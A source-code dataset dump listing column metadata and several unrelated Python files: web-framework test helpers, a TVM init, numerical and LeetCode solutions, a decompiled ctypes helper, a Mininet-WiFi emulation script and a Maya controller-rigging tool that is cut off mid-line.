blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
616
content_id
stringlengths
40
40
detected_licenses
sequencelengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
777 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
gha_language
stringclasses
149 values
src_encoding
stringclasses
26 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
3
10.2M
extension
stringclasses
188 values
content
stringlengths
3
10.2M
authors
sequencelengths
1
1
author_id
stringlengths
1
132
468645e9619fb25182bf7c27b275edf40ec84218
afa4ad9cefeb12f78fa7176d2c80d71cc5a76d1c
/clastic/tests/common.py
e1327a4596c8a3033fab40fdefe4c40417973191
[ "BSD-3-Clause" ]
permissive
slaporte/clastic
0d88fdc56570de578efcd221d1a5182be661ac97
d7734040160ece0bf2dd6ef10770be838776056f
refs/heads/master
2021-01-16T22:36:30.852244
2013-09-15T01:43:11
2013-09-15T01:43:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,119
py
# -*- coding: utf-8 -*- import clastic from clastic import Middleware def hello_world(name=None): if name is None: name = 'world' return clastic.Response('Hello, %s!' % name) def hello_world_str(name=None): if name is None: name = 'world' return 'Hello, %s!' % name def hello_world_html(name=None): if name is None: name = 'world' return '<html><body><p>Hello, <b>%s</b>!</p></body></html>' % name def hello_world_ctx(name=None): if name is None: name = 'world' greeting = 'Hello, %s!' % name return {'name': name, 'greeting': greeting} def session_hello_world(session, name=None): if name is None: name = session.get('name') or 'world' session['name'] = name return 'Hello, %s!' % name def complex_context(name=None, date=None): from datetime import datetime ret = hello_world_ctx(name) if date is None: date = datetime.utcnow() ret['date'] = date ret['example_middleware'] = RequestProvidesName ret['a_lambda'] = lambda x: None ret['true'] = True ret['bool_vals'] = set([True, False]) ret['the_locals'] = locals() ret['the_locals'].pop('ret') return ret class RequestProvidesName(Middleware): provides = ('name',) def __init__(self, default_name=None): self.default_name = default_name def request(self, next, request): try: ret = next(request.args.get('name', self.default_name)) except Exception as e: print e raise return ret class DummyMiddleware(Middleware): def __init__(self, verbose=False): self.verbose = verbose def request(self, next, request): name = '%s (%s)' % (self.__class__.__name__, id(self)) if self.verbose: print name, '- handling', id(request) try: ret = next() except Exception as e: if self.verbose: print name, '- uhoh:', repr(e) raise if self.verbose: print name, '- hooray:', repr(ret) return ret
b4a0be1470e467285d734202a3faced0aa92de3a
954ceac52dfe831ed7c2b302311a20bb92452727
/python/tvm/relax/dpl/__init__.py
e0bbdaff05127fcefdd39e14799047773730be0e
[ "Apache-2.0", "LLVM-exception", "LicenseRef-scancode-unknown-license-reference", "MIT", "Zlib", "Unlicense", "BSD-3-Clause", "BSD-2-Clause" ]
permissive
tqchen/tvm
a0e4aefe8b8dccbdbe6f760549bed6e9545ad4a1
678d01dd4a4e75ef6186ce356bb1a20e584a7b24
refs/heads/main
2023-08-10T02:21:48.092636
2023-02-25T18:22:10
2023-02-25T18:22:10
100,638,323
23
8
Apache-2.0
2023-02-20T16:28:46
2017-08-17T19:30:37
Python
UTF-8
Python
false
false
876
py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. """The Relax Dataflow Pattern Language.""" from .pattern import * from .context import *
57ee62c2b454803a41896a4bf9ceef507af16a53
fa06915cb1f1d49d636ee2137889cfd66c6e55af
/metodos_confinamentos/secante.py
18e79f85bf7e3f67cb40920e9a009f43320520b7
[]
no_license
DarknessRdg/mat-computacional
7ed45dd333bec52b509128e6d106efaa4a205cea
30fd0dd144a10a91f3a11055d20ebdab72be3620
refs/heads/main
2023-04-03T10:27:35.510285
2021-04-16T04:30:38
2021-04-16T04:30:38
329,485,627
0
0
null
null
null
null
UTF-8
Python
false
false
769
py
import math from utils import trunc def secante(x1, x2, funcao, tolerancia): f_x1 = 0 loop = 0 while loop == 0 or abs(f_x1) > tolerancia: loop += 1 f_x1 = funcao(x1) f_x2 = funcao(x2) x3 = x2 - ((f_x2 * (x1 - x2)) / (f_x1 - f_x2)) feedback = ( 'loop = {} ' 'x1 = {} ' 'x2 = {} ' 'f(x1) = {} ' 'f(x2) = {} ' 'x3 = {} ' 'f(x3) {} ' ) print(feedback.format( loop, *map(trunc, (x1, x2, f_x1, f_x2, x3, funcao(x3))) )) x1 = x2 x2 = x3 return x1 if __name__ == '__main__': print(secante( x1=1, x2=2, funcao=f, tolerancia=10 ** -3 ))
0e3558e47561e850419df0c5701c93bfd1818048
2772f804bae2bf1dad1c9fcab435c98696465c65
/二刷+题解/每日一题/minCameraCover.py
aba1966661634456e10dc88a4eea8520e49f8eee
[]
no_license
1oser5/LeetCode
75e15a2f7a1a7de1251fe5f785ad06a58b4b8889
40726506802d2d60028fdce206696b1df2f63ece
refs/heads/master
2021-07-19T04:40:17.637575
2020-09-30T00:16:39
2020-09-30T00:16:39
211,662,258
0
0
null
null
null
null
UTF-8
Python
false
false
987
py
# -*- encoding: utf-8 -*- ''' @File : minCameraCover.py @Time : 2020/09/22 08:52:25 @Author : Xia @Version : 1.0 @Contact : [email protected] @License : (C)Copyright 2019-2020, HB.Company @Desc : None ''' # here put the import lib # Definition for a binary tree node. # class TreeNode: # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution: res = 0 def minCameraCover(self, root: TreeNode) -> int: def dfs(root): if not root: return 1 left, right = dfs(root.left), dfs(root.right) if left == 0 or right == 0: self.res += 1 return 2 if left == 1 and right == 1: return 0 if (left + right) >= 3: return 1 return -1 if dfs(root) == 0: self.res += 1 return self.res if __name__ == '__main__': pass
db6ba2fc2635e56052c35ca36a819d6348f32bd3
acd41dc7e684eb2e58b6bef2b3e86950b8064945
/res/packages/scripts/scripts/common/Lib/ctypes/macholib/dylib.py
55b791f15df2416f3ae4ab32269899edf999a3d8
[]
no_license
webiumsk/WoT-0.9.18.0
e07acd08b33bfe7c73c910f5cb2a054a58a9beea
89979c1ad547f1a1bbb2189f5ee3b10685e9a216
refs/heads/master
2021-01-20T09:37:10.323406
2017-05-04T13:51:43
2017-05-04T13:51:43
90,268,530
0
0
null
null
null
null
WINDOWS-1250
Python
false
false
2,276
py
# 2017.05.04 15:31:20 Střední Evropa (letní čas) # Embedded file name: scripts/common/Lib/ctypes/macholib/dylib.py """ Generic dylib path manipulation """ import re __all__ = ['dylib_info'] DYLIB_RE = re.compile('(?x)\n(?P<location>^.*)(?:^|/)\n(?P<name>\n (?P<shortname>\\w+?)\n (?:\\.(?P<version>[^._]+))?\n (?:_(?P<suffix>[^._]+))?\n \\.dylib$\n)\n') def dylib_info(filename): """ A dylib name can take one of the following four forms: Location/Name.SomeVersion_Suffix.dylib Location/Name.SomeVersion.dylib Location/Name_Suffix.dylib Location/Name.dylib returns None if not found or a mapping equivalent to: dict( location='Location', name='Name.SomeVersion_Suffix.dylib', shortname='Name', version='SomeVersion', suffix='Suffix', ) Note that SomeVersion and Suffix are optional and may be None if not present. """ is_dylib = DYLIB_RE.match(filename) if not is_dylib: return None else: return is_dylib.groupdict() def test_dylib_info(): def d(location = None, name = None, shortname = None, version = None, suffix = None): return dict(location=location, name=name, shortname=shortname, version=version, suffix=suffix) raise dylib_info('completely/invalid') is None or AssertionError raise dylib_info('completely/invalide_debug') is None or AssertionError raise dylib_info('P/Foo.dylib') == d('P', 'Foo.dylib', 'Foo') or AssertionError raise dylib_info('P/Foo_debug.dylib') == d('P', 'Foo_debug.dylib', 'Foo', suffix='debug') or AssertionError raise dylib_info('P/Foo.A.dylib') == d('P', 'Foo.A.dylib', 'Foo', 'A') or AssertionError raise dylib_info('P/Foo_debug.A.dylib') == d('P', 'Foo_debug.A.dylib', 'Foo_debug', 'A') or AssertionError raise dylib_info('P/Foo.A_debug.dylib') == d('P', 'Foo.A_debug.dylib', 'Foo', 'A', 'debug') or AssertionError return if __name__ == '__main__': test_dylib_info() # okay decompyling C:\Users\PC\wotmods\files\originals\res\packages\scripts\scripts\common\Lib\ctypes\macholib\dylib.pyc # decompiled 1 files: 1 okay, 0 failed, 0 verify failed # 2017.05.04 15:31:20 Střední Evropa (letní čas)
0eb91115050dd84862b4b5adc45e51414a098dc9
5faa3f139f30c0d290e327e04e3fd96d61e2aabb
/mininet-wifi/SIGCOMM-2016/hybridVirtualPhysical.py
a318efac432e79db502409c7800249359668848f
[]
no_license
hongyunnchen/reproducible-research
c6dfc3cd3c186b27ab4cf25949470b48d769325a
ed3a7a01b84ebc9bea96c5b02e0c97705cc2f7c6
refs/heads/master
2021-05-07T08:24:09.586976
2017-10-31T13:08:05
2017-10-31T13:08:05
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,853
py
#!/usr/bin/python """Code created to be presented with the paper titled: "Rich Experimentation through Hybrid Physical-Virtual Software-Defined Wireless Networking Emulation" authors: Ramon dos Reis Fontes and Christian Esteve Rothenberg""" """Topology (2)ap2(3) / \ (3) (2) wlan1(2)phyap1 ap3(4)wlan0 (4) (3) \ / (3)ap4(2) """ from mininet.net import Mininet from mininet.node import RemoteController, OVSKernelSwitch, UserAP, Controller from mininet.link import TCLink from mininet.cli import CLI from mininet.node import Node from mininet.log import setLogLevel import os import time def topology(): "Create a network." net = Mininet( controller=RemoteController, link=TCLink, accessPoint=UserAP ) staList = [] internetIface = 'eth0' usbDongleIface = 'wlan11' print "*** Creating nodes" for n in range(10): staList.append(n) staList[n] = net.addStation( 'sta%s' % (n+1), wlans=2, mac='00:00:00:00:00:%s' % (n+1), ip='192.168.0.%s/24' % (n+1) ) phyap1 = net.addPhysicalBaseStation( 'phyap1', protocols='OpenFlow13', ssid='Sigcomm-2016-Mininet-WiFi', mode= 'g', channel= '1', position='50,115,0', phywlan=usbDongleIface ) ap2 = net.addAccessPoint( 'ap2', protocols='OpenFlow13', ssid='ap-ssid2', mode= 'g', channel= '11', position='100,175,0' ) ap3 = net.addAccessPoint( 'ap3', protocols='OpenFlow13', ssid='ap-ssid3', mode= 'g', channel= '6', position='150,115,0' ) ap4 = net.addAccessPoint( 'ap4', protocols='OpenFlow13', ssid='ap-ssid4', mode= 'g', channel= '11', position='100,55,0' ) c5 = net.addController( 'c5', controller=RemoteController, port=6653 ) sta11 = net.addStation( 'sta11', ip='10.0.0.111/8', position='60,100,0') h12 = net.addHost( 'h12', ip='10.0.0.109/8') root = net.addHost( 'root', ip='10.0.0.254/8', inNamespace=False ) print "*** Configuring wifi nodes" net.configureWifiNodes() print "*** Creating links" for sta in staList: net.addMesh(sta, ssid='meshNet') """uncomment to plot graph""" net.plotGraph(max_x=240, max_y=240) """Routing""" net.meshRouting('custom') """Seed""" net.seed(20) print "*** Associating and Creating links" net.addLink(phyap1, ap2) net.addLink(ap2, ap3) net.addLink(sta11, ap2) net.addLink(ap3, ap4) net.addLink(ap4, phyap1) net.addLink(root, ap3) net.addLink(phyap1, h12) print "*** Starting network" net.build() c5.start() phyap1.start( [c5] ) ap2.start( [c5] ) ap3.start( [c5] ) ap4.start( [c5] ) time.sleep(2) """output=all,flood""" ap3.cmd('dpctl unix:/tmp/ap3 meter-mod cmd=add,flags=1,meter=1 drop:rate=100') ap3.cmd('dpctl unix:/tmp/ap3 flow-mod table=0,cmd=add in_port=4,eth_type=0x800,ip_dst=10.0.0.100,meter:1 apply:output=flood') phyap1.cmd('dpctl unix:/tmp/phyap1 flow-mod table=0,cmd=add in_port=2,ip_dst=10.0.0.109,eth_type=0x800,ip_proto=6,tcp_dst=80 apply:set_field=tcp_dst:80,set_field=ip_dst:10.0.0.111,output=5') phyap1.cmd('dpctl unix:/tmp/phyap1 flow-mod table=0,cmd=add in_port=1,eth_type=0x800,ip_proto=6,tcp_src=80 apply:set_field=ip_src:10.0.0.109,output=2') fixNetworkManager( root, 'root-eth0' ) startNAT(root, internetIface) sta11.cmd('ip route add default via 10.0.0.254') sta11.cmd('pushd /home/fontes; python3 -m http.server 80 &') ip = 201 for sta in staList: sta.setIP('10.0.0.%s/8' % ip, intf="%s-wlan1" % sta) sta.cmd('ip route add default via 10.0.0.254') ip+=1 "*** Available models: RandomWalk, TruncatedLevyWalk, RandomDirection, RandomWayPoint, GaussMarkov, ReferencePoint, TimeVariantCommunity ***" net.startMobility(startTime=0, model='RandomWalk', max_x=200, max_y=200, min_v=0.1, max_v=0.2) print "*** Running CLI" CLI( net ) print "*** Stopping network" net.stop() def startNAT( root, inetIntf, subnet='10.0/8', localIntf = None ): """Start NAT/forwarding between Mininet and external network root: node to access iptables from inetIntf: interface for internet access subnet: Mininet subnet (default 10.0/8)""" # Identify the interface connecting to the mininet network if localIntf == None: localIntf = root.defaultIntf() # Flush any currently active rules root.cmd( 'iptables -F' ) root.cmd( 'iptables -t nat -F' ) # Create default entries for unmatched traffic root.cmd( 'iptables -P INPUT ACCEPT' ) root.cmd( 'iptables -P OUTPUT ACCEPT' ) root.cmd( 'iptables -P FORWARD DROP' ) # Configure NAT root.cmd( 'iptables -I FORWARD -i', localIntf, '-d', subnet, '-j DROP' ) root.cmd( 'iptables -A FORWARD -i', localIntf, '-s', subnet, '-j ACCEPT' ) root.cmd( 'iptables -A FORWARD -i', inetIntf, '-d', subnet, '-j ACCEPT' ) root.cmd( 'iptables -t nat -A POSTROUTING -o ', inetIntf, '-j MASQUERADE' ) # Instruct the kernel to perform forwarding root.cmd( 'sysctl net.ipv4.ip_forward=1' ) def fixNetworkManager( root, intf ): """Prevent network-manager from messing with our interface, by specifying manual configuration in /etc/network/interfaces root: a node in the root namespace (for running commands) intf: interface name""" cfile = '/etc/network/interfaces' line = '\niface %s inet manual\n' % intf config = open( cfile ).read() if ( line ) not in config: print '*** Adding', line.strip(), 'to', cfile with open( cfile, 'a' ) as f: f.write( line ) # Probably need to restart network-manager to be safe - # hopefully this won't disconnect you root.cmd( 'service network-manager restart' ) if __name__ == '__main__': setLogLevel( 'info' ) topology()
21d3f37f0ebe4ec592d700a1d4acdf2080efe131
c77a40408bc40dc88c466c99ab0f3522e6897b6a
/Programming_basics/Exercise_6/PasswordGenerator.py
d16198682725a9db48d9d7f698aaecd4211c4375
[]
no_license
vbukovska/SoftUni
3fe566d8e9959d390a61a4845381831929f7d6a3
9efd0101ae496290313a7d3b9773fd5111c5c9df
refs/heads/main
2023-03-09T17:47:20.642393
2020-12-12T22:14:27
2021-02-16T22:14:37
328,805,705
0
0
null
null
null
null
UTF-8
Python
false
false
323
py
num = int(input()) let = int(input()) for i_1 in range(1, num+1): for i_2 in range(1, num+1): for i_3 in range(97, 97+let): for i_4 in range(97, 97+let): for i_5 in range(max(i_1, i_2)+1, num+1): print(f'{str(i_1)+str(i_2)+chr(i_3)+chr(i_4)+str(i_5)}', end=' ')
6d63bfb92c5a72e38f2a7c3c8ebbe32b7e9ad516
457e2f5b2a26877df739e314ec1560e8a3ecfb97
/controllerMaker/controllerMaker.py
80cee9d6f2d79933805ee707da01d112e70e8ee8
[]
no_license
mappp7/tools
f6685d9a682bd540d59c1bff0cebb60f79fd6556
c537e7648112c51ba4f44225418e773ee6b8be6c
refs/heads/master
2021-01-14T16:40:44.450790
2020-10-30T05:30:27
2020-10-30T05:30:27
242,682,763
1
0
null
null
null
null
UTF-8
Python
false
false
32,757
py
#encoding=utf-8 #!/usr/bin/env python #------------------------------------------------------------------------------- # # Dexter Rigging Team # # yunhyuk.jung # # 2017.11.21 ver.1.2.3 #------------------------------------------------------------------------------- import os import site import maya.cmds as cmds import maya.OpenMayaUI as omui import maya.mel as mel import json # add sysPath #site.addsitedir('/dexter/Cache_DATA/CRT/RiggingRnD/baseRig/') import xml.etree.ElementTree as xml from cStringIO import StringIO from Qt import QtGui, QtCore, QtWidgets, load_ui from Qt.QtGui import * from Qt.QtCore import * from Qt.QtWidgets import * from baseRigUtil.undoCommand import undo from baseRigUtil.homeNul import* # ui Path Setting basePath = os.path.abspath( __file__ + '/../' ) print basePath uiFile = os.path.join( basePath, 'controllerMaker.ui' ) print uiFile def maya_main_window(): ''' Return the Maya main window widget as a Python object ''' main_window_ptr = omui.MQtbaseRig.util.mainWindow() return wrapInstance(long(main_window_ptr), QtGui.QWidget) class uiMainWindow( QtWidgets.QMainWindow ): def __init__(self, parent=None): super(uiMainWindow, self).__init__(parent) self.ui = load_ui(uiFile) self.ButtonConnection() self.makerIcon() self.temp_CON = [] self.mayaFolder = cmds.workspace(q=True, dir=True) if self.mayaFolder: self.ui.expConPath_LIE.setText( self.mayaFolder ) # buttonAction def Group def ButtonConnection(self): self.ui.Shape_Replace_BTN.clicked.connect(self.shapeReplace) self.ui.Do_Resize_BTN.clicked.connect(self.controllerResize) self.ui.FK_Control_Maker_BTN.clicked.connect(self.FKcontrolMaker) self.ui.homeNull_BTN.clicked.connect(self.homeNull) self.ui.mirrorCon_X_BTN.clicked.connect(self.mirrorControl) self.ui.mirrorCon_Y_BTN.clicked.connect(self.mirrorControl) self.ui.mirrorCon_Z_BTN.clicked.connect(self.mirrorControl) self.ui.rotateCon_X_BTN.clicked.connect(self.rotateControl) self.ui.rotateCon_Y_BTN.clicked.connect(self.rotateControl) self.ui.rotateCon_Z_BTN.clicked.connect(self.rotateControl) self.ui.curveClear_BTN.clicked.connect(self.curveClear) self.ui.expConPath_BTN.clicked.connect(self.setMayaFolder) self.ui.exportCON_BTN.clicked.connect(self.exportCON_JSON) self.ui.importCON_BTN.clicked.connect(self.importCON_JSON) self.ui.reset_BTN.clicked.connect(self.resetBTN_cmd) self.ui.multiSel_BTN.clicked.connect(self.multiSelhierarchy) self.ui.chainParent_BTN.clicked.connect(self.chainParents) self.ui.crvConnect_BTN.clicked.connect(self.crvConnect) for i in range(1,33): eval( "self.ui.color_%s_BTN.clicked.connect(self.overrideColor)" %i ) for i in range(1,29): self.con_Make = '%0*d' % ( 2, i ) eval( "self.ui.conMake_%s_BTN.clicked.connect(self.controllerMake)" %self.con_Make ) def makerIcon(self): setIconPath = 'C:/tools/tools/controllerMaker/icon/' self.ui.conMake_01_BTN.setIcon(QtGui.QIcon('%sbox.jpg' %setIconPath)) self.ui.conMake_02_BTN.setIcon(QtGui.QIcon('%scircle.jpg' %setIconPath)) self.ui.conMake_03_BTN.setIcon(QtGui.QIcon('%svolumeCircle.jpg' %setIconPath)) self.ui.conMake_04_BTN.setIcon(QtGui.QIcon('%scross.jpg' %setIconPath)) self.ui.conMake_05_BTN.setIcon(QtGui.QIcon('%sfatCross.jpg' %setIconPath)) self.ui.conMake_06_BTN.setIcon(QtGui.QIcon('%slocator.jpg' %setIconPath)) self.ui.conMake_07_BTN.setIcon(QtGui.QIcon('%ssphere.jpg' %setIconPath)) self.ui.conMake_08_BTN.setIcon(QtGui.QIcon('%soctagon.jpg' %setIconPath)) self.ui.conMake_09_BTN.setIcon(QtGui.QIcon('%svolumeOctagon.jpg' %setIconPath)) self.ui.conMake_10_BTN.setIcon(QtGui.QIcon('%srombus.jpg' %setIconPath)) self.ui.conMake_11_BTN.setIcon(QtGui.QIcon('%sroot.jpg' %setIconPath)) self.ui.conMake_12_BTN.setIcon(QtGui.QIcon('%shexagon.jpg' %setIconPath)) self.ui.conMake_13_BTN.setIcon(QtGui.QIcon('%ssquare.jpg' %setIconPath)) self.ui.conMake_14_BTN.setIcon(QtGui.QIcon('%spyramid.jpg' %setIconPath)) self.ui.conMake_15_BTN.setIcon(QtGui.QIcon('%sboxPin.jpg' %setIconPath)) self.ui.conMake_16_BTN.setIcon(QtGui.QIcon('%spin.jpg' %setIconPath)) self.ui.conMake_17_BTN.setIcon(QtGui.QIcon('%snone.jpg' %setIconPath)) self.ui.conMake_18_BTN.setIcon(QtGui.QIcon('%snone.jpg' %setIconPath)) self.ui.conMake_19_BTN.setIcon(QtGui.QIcon('%snone.jpg' %setIconPath)) self.ui.conMake_20_BTN.setIcon(QtGui.QIcon('%snone.jpg' %setIconPath)) self.ui.conMake_21_BTN.setIcon(QtGui.QIcon('%snone.jpg' %setIconPath)) self.ui.conMake_22_BTN.setIcon(QtGui.QIcon('%snone.jpg' %setIconPath)) self.ui.conMake_23_BTN.setIcon(QtGui.QIcon('%snone.jpg' %setIconPath)) self.ui.conMake_24_BTN.setIcon(QtGui.QIcon('%snone.jpg' %setIconPath)) self.ui.conMake_25_BTN.setIcon(QtGui.QIcon('%snone.jpg' %setIconPath)) self.ui.conMake_26_BTN.setIcon(QtGui.QIcon('%snone.jpg' %setIconPath)) self.ui.conMake_27_BTN.setIcon(QtGui.QIcon('%snone.jpg' %setIconPath)) self.ui.conMake_28_BTN.setIcon(QtGui.QIcon('%snone.jpg' %setIconPath)) #self.ui.homeNull_BTN.setIcon(QtGui.QIcon('%shomeNull.jpg' %setIconPath)) def overrideColor(self): buttonHandle = self.sender() btn = buttonHandle.objectName() btn_number = btn.split('_') sel_name = cmds.ls(sl=True) for i in sel_name: if self.ui.viewPort_CKB.isChecked() == True: try: if cmds.listRelatives( i, s=True )[0] != None: sel_Shape = cmds.listRelatives( i, s=True )[0] cmds.setAttr("%s.overrideEnabled" %sel_Shape, 1) cmds.setAttr("%s.overrideColor" %sel_Shape, int(btn_number[1])-1) except: cmds.setAttr("%s.overrideEnabled" %i, 1) cmds.setAttr("%s.overrideColor" %i, int(btn_number[1])-1) if self.ui.outLiner_CKB.isChecked() == True: cmds.setAttr('%s.useOutlinerColor' %i, 1) self.outLinerCC(i,btn_number[1]) def outLinerCC(self,obj,number): cc_list = {1:[0.3515, 0.3515, 0.3515], 2:[0,0,0], 3:[0.0497, 0.0497, 0.0497], 4:[0.2122, 0.2122, 0.2122], 5:[0.602, 0, 0.039], 6:[0, 0.005, 0.458], 7:[0, 0.284, 1.000], 8:[0, 0.447, 0.067], 9:[0.165, 0, 0.503], 10:[0.812, 0, 0.812], 11:[0.674, 0.170, 0.089], 12:[0.503, 0.166, 0.143], 13:[0.702, 0.041, 0], 14:[1.0000, 0, 0], 15:[0, 1.0000, 0], 16:[0, 0.198, 0.906], 17:[1.0000, 1.0000, 1.0000], 18:[1.0000, 1.0000, 0], 19:[0.1022, 0.7157, 1.0000], 20:[0.0561, 1.0000, 0.3613], 21:[1.0000, 0.4286, 0.4286], 22:[0.923, 0.495, 0.230], 23:[1.0000, 1.0000, 0.1221], 24:[0, 0.685, 0.186], 25:[0.715, 0.443, 0.0], 26:[0.677, 0.696, 0.058], 27:[0.274, 0.696, 0.058], 28:[0.047, 0.552, 0.171], 29:[0.060, 0.713, 0.713], 30:[0.074, 0.341, 0.884], 31:[0.477, 0.151, 0.851], 32:[0.895, 0.074, 0.355], } cmds.setAttr('%s.outlinerColor' %obj ,cc_list[int(number)][0],cc_list[int(number)][1],cc_list[int(number)][2] ) def resetBTN_cmd(self): sel_name = cmds.ls(sl=True) for i in sel_name: if self.ui.viewPort_CKB.isChecked() == True: try: sel_Shape = cmds.listRelatives( i, s=True )[0] cmds.setAttr("%s.overrideEnabled" %sel_Shape, 0) except: cmds.setAttr("%s.overrideEnabled" %i, 0) if self.ui.outLiner_CKB.isChecked() == True: cmds.setAttr('%s.useOutlinerColor' %i, 0) def shapeReplace(self): sel = cmds.ls(sl=True) sel0_shape = cmds.listRelatives( sel[0], s=True )[0] sel1_shape = cmds.listRelatives( sel[1], s=True )[0] cmds.parent( sel0_shape , sel[1], r=True, s=True) cmds.delete(sel[0]) cmds.delete(sel1_shape) cmds.rename(sel0_shape , "%sShape" %sel[1]) @undo def FKcontrolMaker(self): sel = cmds.ls(sl=True) fkController = list() fkNullGroup = list() for i in sel: jointName = i if len(self.temp_CON) == 1: Control = cmds.duplicate(self.temp_CON, n= jointName.replace(jointName.split('_')[-1],'ctl')) else: Control = cmds.circle(nr=(1,0,0),c=(0,0,0),r=1, n= jointName.replace(jointName.split('_')[-1],'ctl')) cmds.DeleteHistory(Control[0]) cmds.setAttr("%sShape.overrideEnabled" %Control[0], 1) cmds.setAttr("%sShape.overrideColor" %Control[0], 17) cmds.DeleteHistory(Control[0]) cmds.group( Control[0] ) nullGroup = (cmds.rename(jointName.replace(jointName.split('_')[-1],'ctl_G'))) fkController.append("%s" %Control[0]) fkNullGroup.append("%s" %nullGroup) cmds.delete(cmds.parentConstraint(jointName,nullGroup, w=True)) for x in range(len(sel)-1): q = -1-x k = -2-x cmds.parent(fkNullGroup[q], fkController[k]) for y in range(len(sel)): cmds.parentConstraint(fkController[y], sel[y], mo=1 , w=1) def homeNull(self): sel = cmds.ls(sl=True) for i in sel: if 'ctl' in i: homeNul( i ) else: homeNul( i , i+'_ctl_G' ) def crvConnect(self): sel = cmds.ls(sl=True) startName = sel[0] endName = sel[1] curveName = cmds.curve( d=1, p=[(0,0,0),(0,0,0)], name = startName.replace( startName.split('_')[-1], 'CRV' ) ) curveShape = cmds.listRelatives( curveName, s=True )[0] curveShapeName = cmds.rename( curveShape, '%sShape' % curveName ) cvNum = cmds.getAttr( '%s.spans' % curveShapeName ) + cmds.getAttr( '%s.degree' % curveShapeName ) MMX_list = [] DCM_list = [] for x in range( cvNum ): # Create Node MMX = cmds.createNode( 'multMatrix', n=startName.replace( '_%s' % startName.split('_')[-1], '%s_MMX' % (x+1) ) ) MMX_list.append(MMX) DCM = cmds.createNode( 'decomposeMatrix', n=startName.replace( '_%s' % startName.split('_')[-1], '%s_DCM' % (x+1) ) ) DCM_list.append(DCM) # Connection Node cmds.connectAttr( '%s.worldMatrix[0]' % startName, '%s.matrixIn[0]' % MMX_list[0] ) cmds.connectAttr( '%s.matrixSum' % MMX_list[0], '%s.inputMatrix' % DCM_list[0] ) cmds.connectAttr( '%s.worldInverseMatrix[0]' % curveName, '%s.matrixIn[1]' % MMX_list[0] ) cmds.connectAttr( '%s.outputTranslate' % DCM_list[0], '%s.controlPoints[0]' % curveShapeName ) cmds.connectAttr( '%s.worldMatrix[0]' % endName, '%s.matrixIn[0]' % MMX_list[1] ) cmds.connectAttr( '%s.matrixSum' % MMX_list[1], '%s.inputMatrix' % DCM_list[1] ) cmds.connectAttr( '%s.worldInverseMatrix[0]' % curveName, '%s.matrixIn[1]' % MMX_list[1] ) cmds.connectAttr( '%s.outputTranslate' % DCM_list[1], '%s.controlPoints[1]' % curveShapeName ) def chainParents(self): sel = cmds.ls(sl=True) for x in range(len(sel)-1): cmds.parent(sel[x], sel[x+1]) def multiSelhierarchy(self): sel = cmds.ls(sl=True) for i in sel: cmds.select("%s" %i, hierarchy=True, add=True ) @undo def controllerResize(self): number = float(self.ui.Do_Resize_DSB.text()) XYZ = ["X","Y","Z"] sel = cmds.ls(sl=True) for x in sel: curveName = x curveShape = cmds.listRelatives( curveName, s=True )[0] cvNum = cmds.getAttr( '%s.spans' % curveShape ) + cmds.getAttr( '%s.degree' % curveShape ) conPivot = cmds.xform("%s" %curveName, q=True, ws=True, rp=True) cmds.select( "%s.cv[0:%s]" %(curveName,cvNum)) cluster = cmds.cluster() cmds.move( conPivot[0], conPivot[1], conPivot[2], "%s.scalePivot" %cluster[1] , "%s.rotatePivot" %cluster[1],absolute=True) if number > 0: for i in XYZ: cmds.setAttr( "%s.scale%s" %(cluster[1],i), number) else: nagative_number = 1 - number*(-0.1) for i in XYZ: cmds.setAttr( "%s.scale%s" %(cluster[1],i), nagative_number) cmds.DeleteHistory(cmds.select( sel )) @undo def mirrorControl(self): self.mirrorJointList=[] self.mirrorJointList_add=[] self.parentGroupList=[] sel_re = [] sel=cmds.ls(sl=True) for k in sel: tempParentGroupList = cmds.listRelatives( k, allParents=True ) self.parentGroupList.append(tempParentGroupList) for i in sel: cmds.select(cl=True) cmds.select(i ,r=True) tempMirrorJoint = cmds.joint(n='%s_temp_JNT' %i ) cmds.parent(tempMirrorJoint , w=True) cmds.parent(i , tempMirrorJoint) self.mirrorJointList.append(tempMirrorJoint) # 미러조인트 방법이랑 방향 가져와서 세팅 buttonXYZ = self.sender() btn = buttonXYZ.objectName() btn_XYZ = btn.split('_') for i in self.mirrorJointList: if self.ui.mirrorCON_world_RDB.isChecked() == True: if btn_XYZ[1] == 'X': tempMirrorJoint2 = cmds.mirrorJoint(i , mxy = True , mirrorBehavior=False , searchReplace=('L_', 'R_')) self.mirrorJointList_add.append(tempMirrorJoint2[0]) elif btn_XYZ[1] == 'Y': tempMirrorJoint2 = cmds.mirrorJoint(i , myz = True , mirrorBehavior=False , searchReplace=('L_', 'R_')) self.mirrorJointList_add.append(tempMirrorJoint2[0]) elif btn_XYZ[1] == 'Z': tempMirrorJoint2 = cmds.mirrorJoint(i , mxz = True , mirrorBehavior=False , searchReplace=('L_', 'R_')) self.mirrorJointList_add.append(tempMirrorJoint2[0]) if self.ui.mirrorCON_behavior_RDB.isChecked() == True: if btn_XYZ[1] == 'X': tempMirrorJoint2 = cmds.mirrorJoint(i , mxy = True , mirrorBehavior=True , searchReplace=('L_', 'R_')) self.mirrorJointList_add.append(tempMirrorJoint2[0]) elif btn_XYZ[1] == 'Y': tempMirrorJoint2 = 